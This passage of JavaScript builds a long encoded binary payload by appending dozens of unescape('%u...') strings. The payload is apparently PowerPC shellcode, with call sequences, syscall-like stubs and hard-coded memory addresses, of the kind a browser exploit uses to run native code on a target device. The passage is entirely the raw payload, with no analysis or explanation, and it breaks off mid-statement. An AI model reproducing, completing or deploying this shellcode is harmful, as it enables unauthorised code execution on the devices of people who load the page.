unescape("%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u2372%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2397%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000"); - str += unescape("%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u23ab%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u1a40%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180"); - str += unescape("%u6129%ub790%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u23c3%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78"); - str += unescape("%u4bff%ufd4d%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19bc%u9421%uffd8%u7c08%u02a6"); - str += unescape("%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u22e3%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u38a5%u23c9%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u23d8%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u23e7%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6"); - str += unescape("%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000"); - str += unescape("%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u187c%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c"); - str += unescape("%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae"); - str += unescape("%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78"); - str += unescape("%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000"); - str += unescape("%u409e%uffe0%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u23fc%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1778%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78"); - str += unescape("%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78"); - str += unescape("%u4800%u1730%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500"); - str += unescape("%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u16dc%u9421%ufe50%u7c08%u02a6%ubde1%u016c%u3fe0%u0102%u7c7d%u1b78%u63ff%ua31c%u3c60%u0180%u9001%u01b4%u7fe9%u03a6%u3863%u240e%u3881%u0158"); - str += unescape("%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0154%u3863%u2417%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u8061%u0158%u4bff%uf795%u8061%u0158%u4bff%ufb25%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000"); - str += unescape("%u38a5%u22dc%u38c1%u0150%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u241e%u38c1%u014c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22e3%u38c1%u0148"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22f5%u38c1%u0144%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u234f%u38c1%u0140%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2425%u38c1%u013c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2437%u38c1%u0138%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158"); - str += unescape("%u3880%u0000%u38a5%u23c9%u38c1%u0134%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23d8%u38c1%u0130%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2449"); - str += unescape("%u38c1%u012c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u245d%u38c1%u0128%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2470%u38c1%u0124%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23e7%u38c1%u0120%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u247e%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); - str += unescape("%u8061%u0158%u3880%u0000%u38a5%u23c3%u38c1%u0118%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0154%u3880%u0000%u38a5%u2488%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u38a5%u249b%u38c1%u0110%u7fe9%u03a6"); - str += unescape("%u8061%u0154%u3880%u0000%u4e80%u0421%u813d%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u813d%u0014%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u7c7e%u1b78"); - str += unescape("%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u3880%u0008%u7c76%u1b78%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300"); - str += unescape("%u3940%u0019%u8081%u0118%u3920%u0000%u7c7a%u1b78%u4e80%u0421%u813d%u0014%u7c7c%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u8081%u0118%u38a0%u0000%u7d69%u03a6%u38c0%u0000"); - str += unescape("%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u001c%u7c7b%u1b78%u4e80%u0421%u813d%u0014%u7c79%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u2f9c%u0000%u7c78%u1b78%u419e%u000c%u2f99%u0000"); - str += unescape("%u409e%u002c%u8061%u0158%u3c80%u0180%u3884%u24ad%u38a0%u0001%u4bff%uf7d9%u3c60%u2fff%u6063%uffff%u4bff%uf47d%u8061%u0158%u4bff%uf949%u8061%u0158%u3c80%u0180%u3884%u24d9%u38a0%u0001%u4bff%uf7b1"); - str += unescape("%u3d20%u0102%u6129%ub790%u3ca0%u0180%u38c1%u010c%u7d29%u03a6%u8061%u0158%u3880%u0000%u38a5%u24ec%u3f80%u0180%u3b9c%u2200%u4e80%u0421%u8121%u010c%u7f84%ue378%u38a0%u002c%u3929%u0044%u3861%u0040"); - str += unescape("%u9121%u010c%u4bff%ufae5%u80a1%u011c%u3880%u002c%u3861%u0040%u4bff%ufaf9%u389c%u002c%u7c79%u1b78%u3861%u00c0%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufad9%u389c%u0044%u7c74%u1b78"); - str += unescape("%u3861%u00a8%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufab9%u389c%u005c%u7c70%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufa81%u80a1%u011c%u3880%u0038%u3861%u0008%u4bff%ufa95%u389c%u0094"); - str += unescape("%u7c71%u1b78%u3861%u0090%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufa75%u393c%u00ac%u7c72%u1b78%u3861%u00fc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa55%u393c%u00b8"); - str += unescape("%u7c75%u1b78%u3861%u00f0%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa35%u395c%u00c4%u7c6f%u1b78%u3861%u00e4%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u3b9c%u00d0%u4bff%ufa11"); - str += unescape("%u3880%u000c%u7c73%u1b78%u3861%u00d8%u7cbc%u64aa%u7ca3%u65aa%u80a1%u011c%u4bff%uf9f5%u393f%u0080%u3940%u00a0%u913a%u000c%u915a%u007c%u3920%u0000%u3959%u000c%u38df%u01f8%u38bf%u0220%u913a%u0078"); - str += unescape("%u90da%u0084%u391f%u0208%u915a%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452"); - str += unescape("%u38bf%u021c%u80e1%u010c%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118%u90bf%u01dc%u3900%u0004%u38b9%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c77%u1b78%u929f%u0114%u911f%u011c"); - str += unescape("%u929f%u0174%u911f%u017c%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c%u913f%u0214%u925f%u0124%u933f%u0154%u921f%u0164%u925f%u0184%u923f%u01b4%u933f%u01e4%u913f%u0218%u913f%u021c%u913f%u0224"); - str += unescape("%u913f%u022c%u91ff%u0220%u92bf%u0228%u90db%u000c%u38c0%u0170%u90db%u007c%u38de%u01a8%u90db%u0084%u913b%u0078%u915b%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094"); - str += unescape("%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8%u913e%u0204%u813d%u0014%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158"); - str += unescape("%u911e%u018c%u915e%u01b8%u90de%u01ac%u929e%u0124%u90be%u01a4%u907e%u01c0%u3860%u0008%u921e%u0114%u925e%u0134%u923e%u0164%u933e%u0194%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6"); - str += unescape("%u3884%u24f9%u7c7c%u1b78%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24fe%u7c74%u1b78%u4e80%u0421%u7f83%ue378"); - str += unescape("%u3880%u0004%u38a0%u0000%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u3880%u0004%u7c7c%u1b78%u38a0%u0000%u7e83%ua378%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u7c69%ue379%u41a2%u0038%u8061%u0158%u3c80%u0180"); - str += unescape("%u3884%u2503%u38a0%u0002%u4bff%uf425%u3c60%u2fff%u6063%uffff%u4bff%uf0c9%u8061%u0158%u8081%u0110%u4bff%uf619%u8061%u0158%u4bff%uf589%u8121%u0148%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u7c7c%u1b79%u40a2%u0038%u8061%u0158%u3c80%u0180%u3884%u253c%u38a0%u0002%u4bff%uf3d5%u3c60%u2fff%u6063%uffff%u4bff%uf079%u8061%u0158%u8081%u0110%u4bff%uf5c9%u8061%u0158%u4bff%uf539%u3d20%u0123"); - str += unescape("%u7f83%ue378%u6129%u4567%u3880%u1000%u913c%u0000%u3d20%u4452%u6129%u5648%u913c%u0fb4%u3d20%u4158%u913c%u0fb8%u3920%u0008%u913c%u0ff4%u3d20%uffea%u6129%ua1b0%u913c%u0ff8%u8121%u0140%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u013c%u7f83%ue378%u3880%u1000%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9923%u0007%u3c80%u0180%u8121%u014c%u38a0%u0007"); - str += unescape("%u3884%u256c%u7c79%u1b78%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u2274%u3ca0%uc000%u9123%u0000%u3d20%ufff0%u6129%u2294%u3880%u0004"); - str += unescape("%u60a5%u0004%u38c0%u0004%u9123%u0004%u7ee9%u03a6%u7c75%u1b78%u7e83%ua378%u4e80%u0421%u8121%u0130%u9281%u006c%u9121%u0088%u8121%u0124%u9381%u0070%u9121%u0084%u8121%u0128%u93e1%u007c%u7d29%u03a6"); - str += unescape("%u93c1%u0080%u9341%u0074%u9361%u0078%u92e1%u008c%u8281%u012c%u8381%u0134%u4e80%u0421%u7e89%u03a6%u4e80%u0421%u3c80%u0180%u7c69%u1b78%u3884%u024c%u38a0%u0001%u38c1%u006c%u38f6%u0300%u3900%u0300"); - str += unescape("%u3940%u001a%u7f89%u03a6%u7f03%uc378%u4e80%u0421%u8121%u0124%u7d29%u03a6%u4e80%u0421%u8121%u0130%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u8121%u0120%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u2f83%u0000"); - str += unescape("%u409e%u0034%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u8121%u0124%u7d29%u03a6%u4e80%u0421%u4bff%uffbc%u3880%u0006%u7ea5%uab78%u38c0%u0008"); - str += unescape("%u7ee9%u03a6%u7f23%ucb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7f23%ucb78%u9525%u0108%u3880%u0006%u38c0%u0004%u7e69%u03a6%u4e80%u0421%u8121%u0108%u6d2a%ufff0%u2f8a%u2274%u419e%u0038%u8061%u0158"); - str += unescape("%u3c80%u0180%u3884%u2573%u38a0%u0002%u4bff%uf1a1%u3c60%u2fff%u6063%uffff%u4bff%uee45%u8061%u0158%u8081%u0110%u4bff%uf395%u8061%u0158%u4bff%uf305%u3c60%uff20%u3e80%uff20%u6063%u000c%u3e60%u4452"); - str += unescape("%u4bff%uf5b1%u3e40%u4452%u5463%u2036%u3b20%u0000%u3ee3%uff20%u3b80%u0000%u3af7%u0014%u6294%u0013%u6273%u5641%u6252%u5648%u7f97%ua040%u409d%u0048%u7ee3%ubb78%u4bff%uf57d%u7c75%u1b78%u4bff%uf575"); - str += unescape("%u7f83%u9800%u419e%u0014%u7f83%u9000%u40be%u0010%u7eb9%uab78%u4800%u0008%u7ebc%uab78%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0050%u3af7%ufff0%u4bff%uffb8%u2f9c%u0000%u419e%u000c%u2f99%u0000"); - str += unescape("%u409e%u0038%u8061%u0158%u3c80%u0180%u3884%u259b%u38a0%u0002%u4bff%uf0d9%u3c60%u2fff%u6063%uffff%u4bff%ued7d%u8061%u0158%u8081%u0110%u4bff%uf2cd%u8061%u0158%u4bff%uf23d%u7f84%ue378%u3879%u0048"); - str += unescape("%u4bff%uf545%u813d%u0018%u7f43%ud378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fe3%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813d%u0018%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3961%u01b0%u4800%u0bc8%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102"); - str += unescape("%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u3240%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u324d%u38c1%u0018"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3265%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3279%u38c1%u0010%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u328f%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u32a5%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421"); - str += unescape("%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c"); - str += unescape("%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c"); - str += unescape("%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6"); - str += unescape("%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014"); - str += unescape("%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c"); - str += unescape("%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u32b7%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000%u38a5%u32c2%u4e80%u0421%u8121%u0008%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024"); - str += unescape("%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u32d6%u4bff%ufc81%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14"); - str += unescape("%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000"); - str += unescape("%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1"); - str += unescape("%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78"); - str += unescape("%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u32e7%u3881%u0094%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u008c"); - str += unescape("%u8061%u0094%u3880%u0000%u38a5%u32f4%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180"); - str += unescape("%u3929%u25d0%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u32fb%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0001%u38a5%u3315%u38c1%u0090%u9121%u001c"); - str += unescape("%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u332a%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3331"); - str += unescape("%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3347%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3354%u38c1%u0028%u7fe9%u03a6"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3366%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uef59"); - str += unescape("%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u336c%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3374%u38c1%u006c%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u337d%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u338f%u38c1%u0064%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u33a1"); - str += unescape("%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180"); - str += unescape("%u3861%u0008%u3884%u33b0%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378"); - str += unescape("%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000%u4bff%uedd5%u3c60%uffea%u6063%uaa5c%u3c80%u1400"); - str += unescape("%u4bff%uedc5%u3fe0%u0102%u3ca0%u0180%u63ff%ub790%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u33de%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33ed%u38c1%u0084"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u38a5%u33fc%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008"); - str += unescape("%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u3411%u4bff%uf845%u8161%u0088%u3c80%u0180%u7fe3%ufb78%u3884%u18a0%u38a0%u0001"); - str += unescape("%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u344d%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8"); - str += unescape("%u3c60%uffea%u3c80%u0180%u6063%ua174%u3884%u17e8%u4bff%uec75%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3481%u38c1%u0078%u38e1%u007c%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99"); - str += unescape("%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue175%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3487%u38c1%u0070%u38e1%u0074%u3900%u0000"); - str += unescape("%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue129%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u348f"); - str += 